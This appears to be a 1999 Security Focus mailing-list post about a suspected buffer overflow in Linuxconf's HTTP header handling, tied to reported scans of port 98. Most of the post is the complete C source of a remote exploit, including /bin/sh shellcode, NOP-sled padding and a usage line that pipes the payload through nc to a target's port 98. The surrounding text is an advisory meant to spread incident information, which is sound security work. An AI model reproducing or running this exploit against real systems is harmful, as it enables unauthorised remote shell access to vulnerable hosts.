There may exists a buffer overflow vulnerability in the Linuxconf package shipped with some version of Linux systems. The vulnerability may be in the program's handling of HTTP headers. Initial testing with Linuxconf 1.16r10 under RedHat 6.0 was inconclusive. If other can test the exploit and report their results it would be appreciated. This is an example of what good can happen from sharing security incident information. There have been reports in the INCIDENTS mailing list for several months now of scans for port 98. Since no publicly known major vulnerabilities existed in this service the traffic was somewhat strange. After some digging around Jon Starnaud <jon.starnaudat_private> was able to find this exploit. If you are not subscribed to INCIDENTS and wish to share incident information I suggest you sign up. If the vulnerability does exists this would be the second vulnerability we discover thanks to sharing incident information (the first one being sadmind). http://www.securityfocus.com/forums/incidents/faq.html /* linuxconf exploit by R00T-X (c) 1999 USER_AGENT overflow x86 should work on all linux's but you need to have network access to linuxconf greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P have fun with this but for EDUCATIONAL PURPOSES :) Usage: (./linexp <offset>;cat)| nc targethost 98 */ char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh\x00"; #include <stdio.h> #include <stdlib.h> #include <limits.h> #include <string.h> #define BUFLEN 1025 #define NOP 0x90 void main (int argc, char *argv[]) { char buf[BUFLEN]; int offset,nop,i; unsigned long esp; char shell[1024+300]; if(argc < 2) { fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]); exit(0); } nop = 511; esp = 0xefbfd5e8; offset = atoi(argv[1]); memset(buf, NOP, BUFLEN); memcpy(buf+(long)nop, shell, strlen(shell)); for (i = 256; i < BUFLEN - 3; i += 2) { *((int *) &buf[i]) = esp + (long) offset; shell[ sizeof(shell)-1 ] = 0; } printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN); for (i = 0; i < BUFLEN; i++) putchar(buf[i]); printf("\r\n"); return; } -- Elias Levy Security Focus http://www.securityfocus.com/
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